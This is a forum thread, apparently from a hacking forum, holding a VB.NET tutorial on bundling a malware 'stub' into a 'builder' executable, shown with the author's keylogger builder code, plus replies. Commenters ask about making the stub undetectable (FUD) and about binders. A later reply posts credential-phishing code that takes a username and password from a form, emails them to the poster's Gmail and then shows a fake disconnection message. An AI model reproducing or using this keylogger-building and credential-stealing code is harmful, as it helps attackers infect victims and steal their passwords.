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Thread: [Builder With Built In Stub \[VB.NET\] \[TuT\]](#)

Vorfin - October 30, 2009, 9:49 am

OK, write your program as normal, so you have a builder and a stub. Now when distributing, the stub causes no end of confusion. So what we really need is to have it all as one .exe.

So lets take one of my older projects, my very basic, Logic Keylogger.

Now currently the code in the builder looks like:

```
Code Imports System.IO
Public Class Form1
```

```
    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"
```

```
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text
```

```
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
```

```
        If File.Exists("Lserver.exe") Then
            My.Computer.FileSystem.DeleteFile("Lserver.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary,
OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)
    End Sub
```

```
End Class
```

Now as you can see it is calling the stub from the current directory. Code Application.StartupPath & "\Stub.exe"

But we don't want the stub, so what we are going to do is drop it from the resources into said directory, then use it, then remove it after.

So go to the project directory. (The one with the "bin", "obj" and "My Project" Folders in) And create a new folder called "My Resources"

Next, open up your stub project, and build it. Then put the stub.exe into the My resources folder of

the builder.

Now, on the builder(In the complier) Double click "My Project" And then go to "resources" Navigate to the My Resources folder, and add the stub.exe as a resource.

Now we have done that, we have to drop it at the right time. Just before you use the stub, add this.

```
Code Dim b As Byte() = My.Resources.stub
      Dim TheFilePath As String = Application.StartupPath & "\Stub.exe"
      Dim TempFile As System.IO.FileStream = IO.File.Create(TheFilePath)
      TempFile.Write(b, 0, b.Length)
      TempFile.Close()
```

And when you have finished, you must delete the stub from the directory. So use this.

```
Code System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))
```

So now, the code for the builder with the stub added as a resource would be.

```
Code Imports System.IO
Public Class Form1
```

```
    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"
```

```
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text
```

```
    Dim b As Byte() = My.Resources.stub
    Dim TheFilePath As String = Application.StartupPath & "\Stub.exe"
    Dim TempFile As System.IO.FileStream = IO.File.Create(TheFilePath)
    TempFile.Write(b, 0, b.Length)
    TempFile.Close()
```

```
    FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)
    stub = Space(LOF(1))
    FileGet(1, stub)
    FileClose(1)
```

```
    If File.Exists("Lserver.exe") Then
        My.Computer.FileSystem.DeleteFile("Lserver.exe")
    End If
    FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary,
OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
```

```
    System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))
```

```
    FileClose(1)
End Sub
```

End Class

numan007 - *October 30, 2009, 11:39 am*

MAN you are amazing really nice tutorials and really informative

Outline - *October 30, 2009, 11:47 am*

Just what I was looking for. :)

TheInvader - *October 30, 2009, 12:19 pm*

Excellent tutorial very well understandable.

Joey K - *April 7, 2010, 8:53 am*

I know this is a old thread, but it deserves a decent bump.

Kotei - *April 7, 2010, 8:54 am*

(Apr 7, 2010 08:53 AM)Drake™ Wrote: [\[CITE\]](#) I know this is a old thread, but it deserves a decent bump.

Agreed. This is actually really helpful.

xFic - *April 7, 2010, 8:56 am*

This is a great tut, very helpful :)

Euras - *April 7, 2010, 9:04 am*

Finally! I've been wanting to know how to do this for ages!!! +repped

Thanks a lot!

Bosanac - *April 7, 2010, 9:04 am*

Thanks Great Tutorial :D

Dark Molecule - *April 7, 2010, 9:17 am*

i like this tutorial ive had it bookmarked for awhile but just never got around to commenting on it O_o

anywayy nice tut as always vorfin :D

ThatGuyThis - *April 7, 2010, 9:38 am*

Thx!

2 short for HF again!

Troxin - *April 7, 2010, 10:39 am*

Very nice tutorial, I will try it in awhile.

/excited

Cunt - *April 7, 2010, 10:40 am*

Pretty nice, keeps everything tidier :)

Diebspiel - *April 7, 2010, 12:45 pm*

very nice, but:

```
stub = Space(LOF(1))
FileGet(1, stub)
```

FileClose(1)

is very old VB6 code.

minipunch - April 7, 2010, 8:32 pm

This would be really nice, but I don't know what to put in the stub... :(

Dz5 d3m0n - April 7, 2010, 10:05 pm

Does this reduce anything? Such as make the stub possibly more detectable?

Sorry if I don't know what I'm talking about.

Great guide none the less.

Joey K - April 7, 2010, 10:06 pm

(Apr 7, 2010 10:05 PM)Dz5 d3m0n Wrote: [\[CITE\]](#) Does this reduce anything? Such as make the stub possibly more detectable?

Sorry if I don't know what I'm talking about.

Great guide none the less.

It makes the stub invisible and makes it 1 application.

Dz5 d3m0n - April 7, 2010, 10:09 pm

(Apr 7, 2010 10:06 PM)Drake™ Wrote: [\[CITE\]](#) It makes the stub invisible and makes it 1 application. So essentially the whole thing is FUD?

Joey K - April 7, 2010, 10:15 pm

(Apr 7, 2010 10:09 PM)Dz5 d3m0n Wrote: [\[CITE\]](#) So essentially the whole thing is FUD?

No, it just makes it one file.

Dz5 d3m0n - April 7, 2010, 10:16 pm

Ok thanks man, I'll implement it tonight.

lorens13 - April 7, 2010, 11:14 pm

This is nice,,thanks for sharing it^^

Banana_ - August 4, 2010, 3:26 pm

This may be an older thread, but some people may want to do this. So I am giving this a friendly bump. ?

SIM-478284 - October 1, 2010, 2:10 pm

Awesome tutorial! ;O Worked better than perfectly! Always wanted to do something like this. Thank you very much for this tutorial! :)

stratos8765 - October 1, 2010, 2:15 pm

Its looks like CodeDOM or?

Penthos - July 17, 2011, 1:40 pm

Hay man,

Thanks for this...

I'm a complete noob atm, but with your guidance i managed to get it all working in my Binder :P

Baby Steps!!! :P

shayl - August 14, 2011, 10:50 pm

plz can you help me to make an stub for my program .am new on vb

...(i would link to inject the information that i enter in the builder in the (TextBox1) and (TextBox2) here the code.

```
If TextBox1.Text = "" Then
    MsgBox("Username Is Missing")
If Textbox2.text = "" Then
    MsgBox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredenti("TextBox1", "TextBox2")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
```

thank in advance..

????? - August 31, 2011, 2:48 pm

Nice tutorial , this will help people that are somewhat new to the coding scene <3

Grada - August 31, 2011, 5:23 pm

so its like codedom? niceeee tutorial bro thanks!!!